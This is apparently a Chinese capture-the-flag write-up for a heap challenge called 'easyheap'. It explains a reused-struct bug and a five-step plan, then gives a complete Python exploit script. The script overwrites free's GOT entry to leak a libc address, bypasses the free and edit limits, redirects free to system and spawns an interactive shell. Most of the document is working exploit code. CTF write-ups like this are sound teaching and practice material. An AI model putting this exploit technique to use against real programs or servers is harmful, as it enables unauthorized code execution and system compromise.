漏洞点在于结构体未清空,可被复用
p64(0), p64(0x21)
p64(ptr), p64(size)
利用方法:
0x1
改free got 为 puts plt 泄露地址
0x2
突破free的次数限制,突破edit的次数限制
0x3
改free got 为 system address
0x4
改node2的ptr指向/bin/sh
0x5
free拿shell
exp:
-*- coding: utf-8 -*-
from PwnContext.core import *
binary = './easyheap'
debug_libc = './libc-2.23.so'
elf = ELF(binary)
libc = ELF(debug_libc)
ctx.binary = binary
ctx.remote_libc = debug_libc
ctx.debug_remote_libc = True
sh = ctx.start()
def add(size,content):
sh.sendlineafter("choice:","1")
sh.sendlineafter("message?",str(size))
sh.sendafter("message?",str(content))
def edit(idx,content):
sh.sendlineafter("choice:","3")
sh.sendlineafter("modified?",str(idx))
sh.sendafter("message?", str(content))
def free(idx):
sh.sendlineafter("choice:","2")
sh.sendlineafter("deleted?",str(idx))
def pwn():
add(0x100,"aaa")
add(0x18,'bbb') # 1
sh.sendlineafter("choice:", "1")
sh.sendlineafter("message?", "1025") # 2
free(0)
add(0x100,"a") # 0
free(2)
free(1)
sh.sendlineafter("choice:", "1")
sh.sendlineafter("message?", "1025") # 1
add(0x18, "a")
edit(1,p64(0)+p64(0x21)+p64(elf.got["free"]))
edit(2,p64(elf.plt["puts"]))
free(0)
addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address = addr - 0x3c4B61
system = libc.sym["system"]
print "libc :" + hex(libc.address)
edit(1,p64(0)+p64(0x21)+p64(0x6020AC))
edit(2,p64(0))
edit(1,p64(0)+p64(0x21)+p64(0x6020b0))
edit(2,p64(0))
edit(1,p64(0)+p64(0x21)+p64(elf.got["free"]))
edit(2,p64(system))
edit(1, p64(0) + p64(0x21) + p64(libc.address+ 0x18cd57))
free(2)
sh.interactive()
pwn()